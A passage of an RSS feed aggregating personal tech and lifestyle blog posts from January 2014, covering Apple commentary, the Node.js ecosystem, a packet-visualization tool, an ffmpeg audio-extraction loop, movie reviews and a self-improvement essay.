&lt;p&gt;A characteristically excellent article by Horace Dediu of Asymco. Horace Dediu, Benedict Evans, and Ben Thompson constantly vie for the top spot as my favorite data-driven writer. As much as I enjoyed &lt;a href="http://stratechery.com/2014/chromebooks-cost-complexity/"&gt;&lt;em&gt;Chromebooks and the Cost of Complexity&lt;/em&gt;&lt;/a&gt;, Horace might have inched his way ahead with this one. As usual, I find his perspective on data&amp;#160;&amp;#8212;&amp;#160;even more so than his revered graphs&amp;#160;&amp;#8212;&amp;#160;fascinating.&lt;/p&gt;


                &lt;p&gt;&lt;a href="http://www.asymco.com/2014/01/07/when-will-smartphones-saturate/"&gt;Permalink.&lt;/a&gt;&lt;/p&gt;</description><author>Zac Szewczyk</author><pubDate>Wed, 08 Jan 2014 22:52:43 GMT</pubDate><guid isPermaLink="true">http://www.asymco.com/2014/01/07/when-will-smartphones-saturate/</guid></item><item><title>Chromebooks and the Cost of Complexity</title><link>http://stratechery.com/2014/chromebooks-cost-complexity/</link><description>&lt;p&gt;Had I picked one paragraph or sentence as a pull quote from Ben Thompson&amp;#8217;s &lt;em&gt;Chromebooks and the Cost of Complexity&lt;/em&gt;, I would have done the rest of his article a great disservice by holding one fascinating line above another equally excellent passage. Having read Stratechery for a few months now, I can honestly say that out of all his articles, I consider this one by far and away his best.&lt;/p&gt;

&lt;p&gt;Also of interest, Ben posted a followup piece earlier today titled &lt;a href="http://stratechery.com/2014/the-best-analogy-for-chromebooks-are-ipads/"&gt;&lt;em&gt;The Best Analogy for Chromebooks are iPads&lt;/em&gt;&lt;/a&gt;, where he explained the use case of a Chromebook and its similarity to that of an iPad. When I can justify another large technology expenditure, I will have to do some serious work to talk myself out of a Chromebook after these two articles.&lt;/p&gt;


                &lt;p&gt;&lt;a href="http://stratechery.com/2014/chromebooks-cost-complexity/"&gt;Permalink.&lt;/a&gt;&lt;/p&gt;</description><author>Zac Szewczyk</author><pubDate>Wed, 08 Jan 2014 22:11:56 GMT</pubDate><guid isPermaLink="true">http://stratechery.com/2014/chromebooks-cost-complexity/</guid></item><item><title>Node.js ecosystem</title><link>https://danielpecos.com/2014/01/08/node-js-ecosystem/</link><description>&lt;p&gt;&lt;img alt="Node.js - Theme title" class="alignleft " height="103" src="https://danielpecos.com/assets/2014/01/nodejs-dark.png" width="191" /&gt;The Node.js &lt;a href="https://npmjs.org/"&gt;ecosystem&lt;/a&gt; is quite young and prolific: new tools appear almost every day or week, changing and turning upside down your current workflow, always trying to squeeze a little more productivity to your time and effort or simply making your work easier.&lt;/p&gt;
&lt;p&gt;As an example, take a look on the &lt;a href="http://nodeframework.com/"&gt;NodeFramework page&lt;/a&gt;, where &lt;a href="http://azat.co/"&gt;Azat Mardanov&lt;/a&gt; (&lt;a href="https://twitter.com/azat_co"&gt;@azat_co&lt;/a&gt;) collects lot&amp;rsquo;s of frameworks and utilities related to Node.js. Or &lt;a href="http://nodewebmodules.com/"&gt;NodeWebModules&lt;/a&gt;, more web oriented than the previous one, from &lt;a class="url" href="http://crpwebdev.com" rel="external nofollow"&gt;Caio Ribeiro Pereira &lt;/a&gt;(&lt;a href="http://twitter.com/crp_underground"&gt;@crp_underground&lt;/a&gt;).&lt;/p&gt;
&lt;p&gt;Let&amp;rsquo;s start with the basics:&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;node&lt;/strong&gt; and &lt;strong&gt;npm&lt;/strong&gt;. &lt;em&gt;node&lt;/em&gt; is the command line Javascript interpreter and it&amp;rsquo;s the core for the whole ecosystem. &lt;em&gt;npm&lt;/em&gt; on the other hand, is a tool to manage that ecosystem, allowing you to install new modules and tools, and keeping them up to date. Although &lt;em&gt;npm&lt;/em&gt; is not tightened to node, it&amp;rsquo;s provided with the default Node.js installation package, making it the defacto Node.js module manager.&lt;/p&gt;
&lt;p&gt;But &lt;em&gt;npm&lt;/em&gt; is not only a module manager: it&amp;rsquo;s also a great tool to manage a node project dependencies, taking care of recursive dependencies and resolving collisions between modules. You can take a look to all its capabilities in this &lt;a href="http://howtonode.org/introduction-to-npm"&gt;great tutorial&lt;/a&gt; from &lt;a href="http://github.com/isaacs"&gt;Isaac Z. Schlueter&lt;/a&gt; (&lt;a href="http://twitter.com/izs"&gt;@izs&lt;/a&gt;).&lt;/p&gt;
&lt;p&gt;Anyone can create and share npm modules, making the ecosystem bigger and bigger. At this moment &lt;a href="https://npmjs.org/"&gt;npm repository&lt;/a&gt; has around 54K packages ready to download, and its growth rate is &lt;a href="https://blog.nodejitsu.com/npm-innovation-through-modularity"&gt;faster than other&amp;rsquo;s ecosystems&lt;/a&gt; (see also &lt;a href="http://www.futurealoof.com/posts/open-source-ecosystem-growth.html"&gt;this link&lt;/a&gt;):&lt;/p&gt;
&lt;p&gt;&lt;a href="https://blog.nodejitsu.com/npm-innovation-through-modularity"&gt;&lt;img alt="Packages per day across popular platforms (Source: www.modulecounts.com)" class=" " height="337" src="https://danielpecos.com/assets/2014/01/package_growth_comparison.png" width="680" /&gt;&lt;/a&gt; Packages per day across popular platforms (Source: &lt;a href="https://www.modulecounts.com"&gt;www.modulecounts.com&lt;/a&gt;)&lt;/p&gt;
&lt;p&gt;The current state of art of the Node.js ecosystem include, among others, these tools as the most popular ones,  in my opinion:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;CoffeeScript&lt;/li&gt;
&lt;li&gt;Grunt&lt;/li&gt;
&lt;li&gt;Express&lt;/li&gt;
&lt;li&gt;Mocha&lt;/li&gt;
&lt;li&gt;PM2&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;But I’m sure that many other tools and modules deserve to appear in this top 5 list. It’s so nice and funny to keep discovering new jewels every single day, isn’t it? &lt;img alt=":-)" src="https://danielpecos.com/assets/2014/01/icon_smile.gif" /&gt;&lt;/p&gt;</description><author>GeekWare - Daniel Pecos Martínez</author><pubDate>Wed, 08 Jan 2014 21:38:59 GMT</pubDate><guid isPermaLink="true">https://danielpecos.com/2014/01/08/node-js-ecosystem/</guid></item><item><title>The Last App You Open Before Bed</title><link>https://zacs.site/blog/the-last-app-you-open-before-bed.html</link><description>&lt;p&gt;&lt;a href="http://parislemon.com/post/72415950189/the-first-app-you-open-in-the-morning"&gt;A few days ago&lt;/a&gt;, MG Siegler posited that the app you open first every day signals a great deal about both the current state of apps and your present state of mind. After posting &lt;a href="https://zacs.site/blog/the-first-app-you-open-in-the-morning.html"&gt;my take&lt;/a&gt;, I kept thinking. Eventually, I decided that even more telling than the app you launch first every day is the last app you open before bed every night.&lt;/p&gt;
                &lt;p&gt;&lt;a href="https://zacs.site/blog/the-last-app-you-open-before-bed.html"&gt;Permalink.&lt;/a&gt;&lt;/p&gt;</description><author>Zac Szewczyk</author><pubDate>Wed, 08 Jan 2014 21:06:43 GMT</pubDate><guid isPermaLink="true">https://zacs.site/blog/the-last-app-you-open-before-bed.html</guid></item><item><title>Speeding Mistake Ad</title><link>http://www.loopinsight.com/2014/01/08/speeding-mistake-ad/</link><description>&lt;p&gt;As a rule I avoid publishing links to articles I find on popular tech sites such as Jim Dalrymple&amp;#8217;s when I do not have anything significant to add to the conversation, but I had to make an exception for this post. When I watched it earlier this morning, I immediately tried to discount it and distance myself from the discomfort it caused me. I have pushed the speed limit on occasion&amp;#160;&amp;#8212;&amp;#160;albeit never so egregiously&amp;#160;&amp;#8212;&amp;#160;and rarely thought about the potential consequences besides a speeding ticket. Everyone who owns a car ought to watch this video, and think long and hard about it next time they feel like punching it.&lt;/p&gt;


                &lt;p&gt;&lt;a href="http://www.loopinsight.com/2014/01/08/speeding-mistake-ad/"&gt;Permalink.&lt;/a&gt;&lt;/p&gt;</description><author>Zac Szewczyk</author><pubDate>Wed, 08 Jan 2014 12:12:25 GMT</pubDate><guid isPermaLink="true">http://www.loopinsight.com/2014/01/08/speeding-mistake-ad/</guid></item><item><title>The First App You Open In The Morning</title><link>http://parislemon.com/post/72415950189/the-first-app-you-open-in-the-morning</link><description>&lt;p&gt;At first, I thought I&amp;#160;&amp;#8212;&amp;#160;&lt;a href="http://www.macstories.net/linked/the-first-app-you-open-in-the-morning/"&gt;like Federico&lt;/a&gt;&amp;#160;&amp;#8212;&amp;#160;launched Tweetbot before any other apps every morning. However, after a some thinking I realized that not to be the case: I open Facebook Messenger right out of bed to send a quick &amp;#8220;Good morning&amp;#8221; off to my girlfriend&amp;#160;&amp;#8212;&amp;#160;because Messages never works for us&amp;#160;&amp;#8212;&amp;#160;followed by Instacast while I make and eat breakfast. If I have time between breakfast and leaving for work, only then do I get to Twitter.&lt;/p&gt;


                &lt;p&gt;&lt;a href="http://parislemon.com/post/72415950189/the-first-app-you-open-in-the-morning"&gt;Permalink.&lt;/a&gt;&lt;/p&gt;</description><author>Zac Szewczyk</author><pubDate>Wed, 08 Jan 2014 10:25:25 GMT</pubDate><guid isPermaLink="true">http://parislemon.com/post/72415950189/the-first-app-you-open-in-the-morning</guid></item><item><title>Stateless Mindset</title><link>https://nicolaiarocci.com/stateless-mindset/</link><description>&lt;p&gt;Would it be possible (and advisable) for a person to deal with everyday matters as if he/she was a stateless machine?&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;!-- raw HTML omitted --&gt;Imagine if you as a person dealt with millions of requests a day from a thousand or so clients: if you had to keep track all those clients and the multiple requests they were making, it would drive you crazy. The burden of remembering would crush you.&lt;!-- raw HTML omitted --&gt;&lt;/p&gt;</description><author>Nicola Iarocci</author><pubDate>Wed, 08 Jan 2014 02:00:00 GMT</pubDate><guid isPermaLink="true">https://nicolaiarocci.com/stateless-mindset/</guid></item><item><title>The Development of the C Language</title><link>https://nicolaiarocci.com/the-development-of-the-c-language/</link><description>&lt;p&gt;Dennis M. Ritchie ‘The Development of the C Language’ is one of those things any programmer should read soon or later, if nothing else for historic reasons.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;C came into being in the years 1969-1973, in parallel with the early development of the Unix operating system; the most creative period occurred during 1972. Another spate of changes peaked between 1977 and 1979, when portability of the Unix system was being demonstrated. In the middle of this second period, the first widely available description of the language appeared: The C Programming Language, often called the `white book’ or `K&amp;amp;R’ [Kernighan 78].&lt;/p&gt;</description><author>Nicola Iarocci</author><pubDate>Wed, 08 Jan 2014 02:00:00 GMT</pubDate><guid isPermaLink="true">https://nicolaiarocci.com/the-development-of-the-c-language/</guid></item><item><title>Jennifer Dewalt: 180 Websites in 180 Days</title><link>https://solomon.io/jennifer-dewalt-180-websites-in-180-days/</link><description>Jennifer Dewalt is an artist that taught her self how to program by creating 180 websites in 180 days.</description><author>Sam Solomon</author><pubDate>Wed, 08 Jan 2014 02:00:00 GMT</pubDate><guid isPermaLink="true">https://solomon.io/jennifer-dewalt-180-websites-in-180-days/</guid></item><item><title>UML Editor/Designer on Unix</title><link>https://venam.net/blog/programming/2014/01/08/uml.html</link><description>Hello fellow Unixer, This thread is about a must have software engineer tool called an UML(Unified Modeling Language) designer.  More precisely, it's about finding the open source UML Editor/Designer that you need.</description><author>Venam's Blog — Patrick Louis (Lebanon)</author><pubDate>Wed, 08 Jan 2014 00:00:00 GMT</pubDate><guid isPermaLink="true">https://venam.net/blog/programming/2014/01/08/uml.html</guid></item><item><title>Please, Sir, May I Have Some More?</title><link>https://zacs.site/blog/may-i-have-some-more.html</link><description>&lt;p&gt;In my early days as a fledgling internet writer, back when I posted at blog-that-shall-not-be-named-dot-provider-dot-com, I worked hard to increase my readership. Taking lessons from anyone willing to give them, I delved into WordPress.com&amp;#8217;s fantastic blogging community and networked with other like-minded individuals. We read each others&amp;#8217; articles, commented, and even planned to start a number of joint ventures together. Although in its infancy, even back in 2007 I also looked to drive traffic towards my work with podcast advertisements. As the years wore on I unfortunately moved away from these venues and on to Hacker News and Twitter, where I have remained to date with little to show for my efforts.&lt;/p&gt;
                &lt;p&gt;&lt;a href="https://zacs.site/blog/may-i-have-some-more.html"&gt;Permalink.&lt;/a&gt;&lt;/p&gt;</description><author>Zac Szewczyk</author><pubDate>Tue, 07 Jan 2014 23:51:18 GMT</pubDate><guid isPermaLink="true">https://zacs.site/blog/may-i-have-some-more.html</guid></item><item><title>EtherCurve, a tool for visualizing network packets</title><link>https://bastian.rieck.me/blog/2014/ethercurve/</link><description>&lt;p&gt;I just put the finishing touches (for now) on a small visualization project of mine. &lt;code&gt;EtherCurve&lt;/code&gt; is
a tool that uses  &lt;a href="http://en.wikipedia.org/wiki/Hilbert_curve"&gt;a space-filling Hilbert curve&lt;/a&gt; to
visualize packets in your network. Packets are scaled by their sizes and coloured using a
qualitative colour map that can be custommized easily.&lt;/p&gt;
&lt;p&gt;I wrote this mainly to get acquainted with &lt;a href="http://www.tcpdump.org"&gt;&lt;code&gt;libpcap&lt;/code&gt;&lt;/a&gt; and parts of Qt5. I
also have a secret passion for fractal curves and yearn to use them in more projects. For my current
research, they have already been of some use in a joint project, but the idea for &lt;code&gt;EtherCurve&lt;/code&gt; is
even older. As you can see from the git log, I wrote this more in &lt;em&gt;spurts&lt;/em&gt; than in &lt;em&gt;sprints&lt;/em&gt;&amp;hellip;&lt;/p&gt;
&lt;p&gt;See the &lt;a href="https://github.com/Pseudomanifold/ethercurve"&gt;project page of EtherCurve&lt;/a&gt; for usage instructions and related
information (and some screenshots!) or take a look at &lt;a href="http://github.com/Pseudomanifold/EtherCurve"&gt;the git repository of
&lt;code&gt;EtherCurve&lt;/code&gt;&lt;/a&gt;.&lt;/p&gt;</description><author>Ecce Homology on Bastian Grossenbacher Rieck's personal homepage</author><pubDate>Tue, 07 Jan 2014 23:33:51 GMT</pubDate><guid isPermaLink="true">https://bastian.rieck.me/blog/2014/ethercurve/</guid></item><item><title>Vlcnr 1.0 Released</title><link>https://itunes.apple.com/us/app/vlcnr/id789486884?mt=8</link><description>&lt;p&gt;Taking a quick break from my next article I will hopefully publish late tonight, &lt;a href="http://twitter.com/johnvoorhees"&gt;John Voorhees&lt;/a&gt; worked with Myke Hurley and Matt Alexander of &lt;a href="http://5by5.tv/bionic"&gt;Bionic&lt;/a&gt; to create Vlcnr 1.0. Featuring the show&amp;#8217;s hallmark suspense accents one through eight and an easter egg that plays random clips from the show, I downloaded the app sight on seen. Not to steal &lt;a href="https://twitter.com/mattalexand/status/420365381698461696"&gt;Matt&amp;#8217;s idea&lt;/a&gt;, but I have to say: I have been testing this app for quite some time now, it&amp;#8217;s really great. Those of you unfamiliar with Bionic will likely think it ridiculous; for everyone else, might as well pack up and leave: 2014 has peaked.&lt;/p&gt;


                &lt;p&gt;&lt;a href="https://itunes.apple.com/us/app/vlcnr/id789486884?mt=8"&gt;Permalink.&lt;/a&gt;&lt;/p&gt;</description><author>Zac Szewczyk</author><pubDate>Tue, 07 Jan 2014 11:10:20 GMT</pubDate><guid isPermaLink="true">https://itunes.apple.com/us/app/vlcnr/id789486884?mt=8</guid></item><item><title>Why You Should Use C With Php</title><link>https://kernelcurry.com/blog/why-you-should-use-c-with-php/</link><description>&lt;p&gt;A few months ago, I calculated the top Magic: The Gathering cards in the games modern format [LINK_BROKEN]. This was accomplished using pure PHP. In total it took about 30 minutes to calculate. With a 30 minute runtime, I wanted to find a faster way to crunch the numbers. What better way than to use C.&lt;/p&gt;
&lt;p&gt;As I did not want to spend the time rewriting code if it did not make a difference, I thought I would use a simple application for this experiment: Calculating the nth term of the fibonacci sequence.&lt;/p&gt;</description><author>KernelCurry</author><pubDate>Tue, 07 Jan 2014 02:00:00 GMT</pubDate><guid isPermaLink="true">https://kernelcurry.com/blog/why-you-should-use-c-with-php/</guid></item><item><title>Android deterrent</title><link>https://arnorhs.dev/posts/2014-01-07/android-deterrent/</link><description>We’re in the middle of a huge revolution. We all know that. It’s been said a hundred times. Phones and tablets are taking over. People all over the world, especially in countries that are considered less wealthy, are adopting mobile platforms at a much greater rate than desktop computers. Meanwhile developers continue to be disproportionally excited about web development tools.</description><author>arnorhs blog - arnorhs.dev</author><pubDate>Tue, 07 Jan 2014 02:00:00 GMT</pubDate><guid isPermaLink="true">https://arnorhs.dev/posts/2014-01-07/android-deterrent/</guid></item><item><title>Doing Monetization Well</title><link>https://zacs.site/blog/doing-monetization-well.html</link><description>&lt;p&gt;Recently, I have started thinking seriously about monetizing this site. Although I could not command the same rate &lt;a href="http://daringfireball.net/feeds/sponsors/"&gt;John Gruber&lt;/a&gt;, &lt;a href="http://www.marco.org/sponsorship"&gt;Marco Arment&lt;/a&gt;, or even &lt;a href="http://www.macstories.net/sponsorships"&gt;Federico Viticci&lt;/a&gt; does, &lt;a href="https://zacs.site/blog/who-to-follow-in-2014.html"&gt;nearly 3,500&lt;/a&gt; unique visitors in 2013 has to count for something. Moreover, I plan to grow that number significantly throughout the coming year. The question remains, however, how I ought to go about doing that or, perhaps more saliently, how I should &lt;em&gt;not&lt;/em&gt;.&lt;/p&gt;
                &lt;p&gt;&lt;a href="https://zacs.site/blog/doing-monetization-well.html"&gt;Permalink.&lt;/a&gt;&lt;/p&gt;</description><author>Zac Szewczyk</author><pubDate>Tue, 07 Jan 2014 00:49:55 GMT</pubDate><guid isPermaLink="true">https://zacs.site/blog/doing-monetization-well.html</guid></item><item><title>Her</title><link>https://olshansky.info/movie/her/</link><description>Olshansky's review of Her</description><author>🦉 olshansky 🦁</author><pubDate>Mon, 06 Jan 2014 16:27:14 GMT</pubDate><guid isPermaLink="true">https://olshansky.info/movie/her/</guid></item><item><title>A Primer on Startup Metrics – Which Analytics Tool to pick.</title><link>https://klinger.io/posts/a-primer-on-startup-metrics-which-analytics-tool-to-pick</link><description>As a analytics consultant I am working with a lot of startups and help them in the topics of metrics, analytics, retention and gro...</description><author>Blog posts of Andreas Klinger</author><pubDate>Mon, 06 Jan 2014 02:00:00 GMT</pubDate><guid isPermaLink="true">https://klinger.io/posts/a-primer-on-startup-metrics-which-analytics-tool-to-pick</guid></item><item><title>Extracting audio from DVD images</title><link>https://bastian.rieck.me/blog/2014/extracting_audio_from_dvd_images/</link><description>&lt;p&gt;I recently got hold of some DVD &lt;code&gt;.iso&lt;/code&gt; images of some live concerts.  Naturally, I wanted to extract
the audio streams to obtain some MP3 files. This turned out to be easier than expected. I first
extracted the &lt;code&gt;.iso&lt;/code&gt; image using &lt;code&gt;tar&lt;/code&gt; (apparently, not all versions of &lt;code&gt;tar&lt;/code&gt; can extract ISO 9660
images—luckily, the FreeBSD version can). I then used &lt;code&gt;ffmpeg&lt;/code&gt; to extract the audio streams:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;for file in *.VOB; do ffmpeg -i &amp;quot;$file&amp;quot; -ab 256k -f mp3 &amp;quot;${file%.VOB}.mp3&amp;quot;; done
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;This tells &lt;code&gt;ffmpeg&lt;/code&gt; to create MP3 files with a bitrate of 256 kBit/s. Unfortunately, &lt;em&gt;splitting&lt;/em&gt;
required manual work because the live convert did not contain completely silent parts.
&lt;a href="http://audacity.sourceforge.net"&gt;Audacity&lt;/a&gt; proved to be useful here because it offers a spectral
visualization which allowed me to quickly find the short speaking parts between two songs.&lt;/p&gt;
&lt;p&gt;Readers from Germany, &lt;em&gt;aufgemerkt&lt;/em&gt;: Obviously, the DVD image was created from one of my own DVDs. I
am not inciting anyone to break the law.&lt;/p&gt;</description><author>Ecce Homology on Bastian Grossenbacher Rieck's personal homepage</author><pubDate>Sun, 05 Jan 2014 21:51:38 GMT</pubDate><guid isPermaLink="true">https://bastian.rieck.me/blog/2014/extracting_audio_from_dvd_images/</guid></item><item><title>A True Budget iPhone</title><link>https://zacs.site/blog/a-true-budget-iphone.html</link><description>&lt;p&gt;To paraphrase Benedict Evans in &lt;a href="http://cubed.fm/2013/12/cubed-episode-12-mobile-musings-for-2014/"&gt;episode twelve&lt;/a&gt; of Cubed, around 12:20, Samsung has the talent, resources, and funds to mass produce any type of hardware, and so they substitute taste and design sense with covering all possible bases in order to determine successful product lines. Apple only recently accrued the former, so up until a few years ago they operated solely on taste and design sense. Now that they have the scale to adopt a similar strategy as Samsung though, they see no point in implementing a lesser process having already perfected the greater one Samsung developed a methodology to emulate. This is the fundamental difference between the ways Samsung and Apple build products: one carefully selects its targets, while the other uses a blunderbuss to obliterate the target, its stand, and anything within a close range. Ultimately both accomplish the requisite goal, only one does so more elegantly and with much fewer casualties.&lt;/p&gt;
                &lt;p&gt;&lt;a href="https://zacs.site/blog/a-true-budget-iphone.html"&gt;Permalink.&lt;/a&gt;&lt;/p&gt;</description><author>Zac Szewczyk</author><pubDate>Sun, 05 Jan 2014 20:18:18 GMT</pubDate><guid isPermaLink="true">https://zacs.site/blog/a-true-budget-iphone.html</guid></item><item><title>nvNotes</title><link>https://zacs.site/blog/nvnotes.html</link><description>&lt;p&gt;Thinking Brett Terpstra had expanded nvALT into an iOS counterpart, I opened Chris Gonzales&amp;#8217;s post on Tools &amp;#38; Toys reviewing &lt;a href="http://toolsandtoys.net/nvnotes-for-iphone/"&gt;nvNotes for iPhone&lt;/a&gt; curious to see what he had made and his justifications for such a move. To my surprise, the only relation nvNotes has to either Notational Velocity or nvALT lies in inspiration: created by Nicholas Clapp, it takes cues from both aforementioned apps in its utilitarian aesthetic and strong feature set. Despite its many benefits though, nvNotes&amp;#8217; infancy in relation to the likes of Drafts unfortunately shines through in many areas.&lt;/p&gt;
                &lt;p&gt;&lt;a href="https://zacs.site/blog/nvnotes.html"&gt;Permalink.&lt;/a&gt;&lt;/p&gt;</description><author>Zac Szewczyk</author><pubDate>Sun, 05 Jan 2014 17:08:50 GMT</pubDate><guid isPermaLink="true">https://zacs.site/blog/nvnotes.html</guid></item><item><title>50 First Dates</title><link>https://olshansky.info/movie/50_first_dates/</link><description>Olshansky's review of 50 First Dates</description><author>🦉 olshansky 🦁</author><pubDate>Sun, 05 Jan 2014 11:36:59 GMT</pubDate><guid isPermaLink="true">https://olshansky.info/movie/50_first_dates/</guid></item><item><title>(500) Days of Summer</title><link>https://olshansky.info/movie/500_days_of_summer/</link><description>Olshansky's review of (500) Days of Summer</description><author>🦉 olshansky 🦁</author><pubDate>Sun, 05 Jan 2014 11:36:53 GMT</pubDate><guid isPermaLink="true">https://olshansky.info/movie/500_days_of_summer/</guid></item><item><title>Crazy, Stupid, Love.</title><link>https://olshansky.info/movie/crazy_stupid_love./</link><description>Olshansky's review of Crazy, Stupid, Love.</description><author>🦉 olshansky 🦁</author><pubDate>Sun, 05 Jan 2014 11:36:44 GMT</pubDate><guid isPermaLink="true">https://olshansky.info/movie/crazy_stupid_love./</guid></item><item><title>The Sadness of Beauty is its Brevity</title><link>https://june.kim/the-sadness-of-beauty-is-its-brevity/</link><author>june.kim</author><pubDate>Sun, 05 Jan 2014 02:00:00 GMT</pubDate><guid isPermaLink="true">https://june.kim/the-sadness-of-beauty-is-its-brevity/</guid></item><item><title>Invisible handicaps</title><link>http://dimitarsimeonov.com/2014/01/05/invisible-handicaps</link><description>&lt;p&gt;In two TED talks that I watched ([1] and [2] below) the narrators had experienced some kind of a personal handicap. One author was a blind girl and she was talking how she was taking advantage of being blind by imagining everybody she meets as the most beautiful person the world and the other author was this guy who is paralized and can’t move but with the help of robots he is able to do things most of healthy people can’t or don’t normally do. In both cases, once the handicap was obvious, the author used it as a direction for improvement, and achieved abilities beyond what what normal people can do. The authors’ limitations weren’t boundaries, but rather trampolines and launch pads, increasing their freedom. Learning about these people made me think about the limitations and  that we all have but don’t notice all the time.&lt;/p&gt;

&lt;p&gt;First, there are limitations that are common to all or most human beings. None of us can run 100m in less than 9 seconds. Neither can we fly on our own, nor can we think about more than 20, 30 or a 100 things at the same time. Most of us can’t listen to two different people at the same time, or write with both our hands simultaneously, or swim without floatation for 5 days without a break.&lt;/p&gt;

&lt;p&gt;Next, there are also other limitations which only a certain group of people was able to overcome. For example being able to solve quadratic equations, being able to run a marathon, being able to deliver a good speech or being able to eat 1kg of ice cream.  These are abilities that we attain as we go through life, or we happen to have a talent for them.&lt;/p&gt;

&lt;p&gt;Additionally, then there limitations which affect only a very small group of people such as being blind or paralyzed like the TED talk authors. We normally refer to such rare limitations as handicaps, to the more common ones as skills, and to the universal ones… well we usually don’t even think of them that often.&lt;/p&gt;

&lt;p&gt;But there is nothing inherently different about all the three types of limitations, besides the proportion of humans who are unable to do them currently. At their core all of these limitations are just &lt;em&gt;something a given person can’t do&lt;/em&gt;. True, some of them are more tragic and emotional, and the lack or presence of some limitations affects our society status, emotions and thoughts. But besides the proportion of affected people, these are all aspects that we attach to the limitations. They are more part of how we see the limitations and not something fundamental about the limitation.&lt;/p&gt;

&lt;p&gt;And thise proportions are always changing with time. Sometimes a new invention will help handicapped people feel less isolated, sometimes it would help more people learn more skills, and sometimes it would enable all humans to do something new. Inventions like the airplane, the computer and the printing press have enabled all humanity to overcome certain limitations to the point where a having such limitation feels like a handicap.&lt;/p&gt;

&lt;p&gt;And handicaps they all are. I think it helps to refer to all kinds of limitations as handicaps, even the very broad ones. So in the rest of this essay when I say handicaps I will refer to all kinds of limitation. Can’t fly - handicap. Can’t draw like Picasso - handicap, can’t walk - handicap. Naming all kinds of limitations as handicaps makes some handicaps stand out. It makes the ones that are actually important and feasible to overcome really apparent. I want to reduce my handicaps because I think it leads to a more fun life. Without calling handicaps out I probably wouldn’t work to overcome them and these handicaps may become a defining characteristic of who I am.&lt;/p&gt;

&lt;p&gt;As a first step, I decided to define some of my handicaps so that I know what I am improving on. I made a text note and started writing down handicaps whenever i could think of any. I didnt focus only on things that i am bad at but others are good, i also included things that are universal human limitations. And of course the list doesn’t capture many limitations of mine.&lt;/p&gt;

&lt;p&gt;So here is a list of handicaps, along with possible strategies to overcome them&lt;/p&gt;

&lt;p&gt;Handicap 1.    I am limited by not remembering stuff I don’t write down. Example would be a conversation in a meeting in which i wouldnt take notes- by the end of it it would be hard for me to recall much but the most important things. And sometimes i would forget stuff that i commited to doing.&lt;/p&gt;

&lt;p&gt;Possible solution is to take copious notes.&lt;/p&gt;

&lt;p&gt;Handicap 2.    When I don’t have much assigned stuff to do I procrastinate.&lt;/p&gt;

&lt;p&gt;Possible solution could be to schedule myself tasks to do for most of the time but also budget some downtime during which I can be procrastinating and resting without feeling guilty about it.&lt;/p&gt;

&lt;p&gt;Handicap 3.    I dont have a long term personal mission. Yeah, really, what do I want to do with my life?&lt;/p&gt;

&lt;p&gt;This is a hard question and this requires both a lot of thinking and experience. I’m hoping that writing essays like this one will actually help me think more clearly, and make it easier for me - but I dont have a clear path to solving this yet.&lt;/p&gt;

&lt;p&gt;Handicap 4.    Thinking and dreaming about a potential reward or status can distract me from actually doing my best. And as a result I don’t achieve the reward or the status. Ironic.&lt;/p&gt;

&lt;p&gt;Possible solution is to catch myself daydreaming and remember that it doesnt help me progress. Daydreaming is OK if I am resting and relaxing, but needs to be stopped if I am actually trying to achieve something that requires mental focus.&lt;/p&gt;

&lt;p&gt;Handicap 5.    If I dont see a clear path to my goal, I meander and procrastinate.&lt;/p&gt;

&lt;p&gt;Possible solutions are to break down problems into smaller parts, solve blockers early on and ask for help when possible.&lt;/p&gt;

&lt;p&gt;Hancicap 6.   I postpone things I want to do or important decisions about my life until after I have achieved certain awards and status - and thus I can miss the chance to actually do those things/decisions. Things do happen and decisions get made but I am more passive than I’d rather be. I shouldn’t wait for freedom event but start living towards my dreams today.&lt;/p&gt;

&lt;p&gt;I can start doing more of the things that I would have done “one day” at the present. I should probably write about this to understand it better. It is related to number 3 - personal mission.&lt;/p&gt;

&lt;p&gt;Handicap 7.    I sometimes panic or get overwhelmed when multiple things start breaking apart. Too much chaos gets me out of my comfort zone where I can’t make very sober decisions.&lt;/p&gt;

&lt;p&gt;Possible solution would be to take a break and find a way out. Think about what could have prevented this and be more systematic next time and don’t allow too many things to break at once. It would still happen from time to time so be more stoic about it - accept that sometimes bad things will happen outside of my control.&lt;/p&gt;

&lt;p&gt;[1]  Caroline Casey: Looking past limits, TED, 
 http://www.ted.com/talks/caroline_casey_looking_past_limits.html&lt;/p&gt;

&lt;p&gt;[2]  Henry Evans and Chad Jenkins: Meet the robots for humanity, TED,
http://www.ted.com/talks/henry_evans_and_chad_jenkins_meet_the_robots_for_humanity.html&lt;/p&gt;</description><author>D13V</author><pubDate>Sun, 05 Jan 2014 02:00:00 GMT</pubDate><guid isPermaLink="true">http://dimitarsimeonov.com/2014/01/05/invisible-handicaps</guid></item><item><title>2014-01-05</title><link>https://ho.dges.online/pictures/2014-01-05/</link><description>&lt;p&gt;Derelict shepherds hut up on the Campsies above Lennoxtown.&lt;/p&gt;</description><author>ho.dges.online</author><pubDate>Sun, 05 Jan 2014 02:00:00 GMT</pubDate><guid isPermaLink="true">https://ho.dges.online/pictures/2014-01-05/</guid></item><item><title>A Fundamental Disparity</title><link>https://zacs.site/blog/a-fundamental-disparity.html</link><description>&lt;p&gt;Reading through Ben Bajarin&amp;#8217;s &lt;a href="http://techpinions.com/what-i-love-about-apples-strategy/26240"&gt;recent article on Tech.pinions&lt;/a&gt;, it reminded me of the incredible disparity between those who inhabit the Apple sphere and regular people with regards to knowledge of Apple&amp;#8217;s intended direction. This lack of understanding leads uninitiated reporters and laypeople alike to frame Apple in the same way they would a much more familiar business such as Target or Walmart: one expands into groceries, the other follows suit; Samsung makes bigger phones, Apple must do so as well in order to survive. Such wildly off-base associations stem from this apathetic incomprehension and betray a fundamental misunderstanding of the very different ways these two companies design products, yet those same people who cannot grasp these truths we hold to be self-evident nevertheless feel compelled to write their trite opinions concerning Apple&amp;#8217;s future. I cannot understand why anyone spends time discussing those articles.&lt;/p&gt;
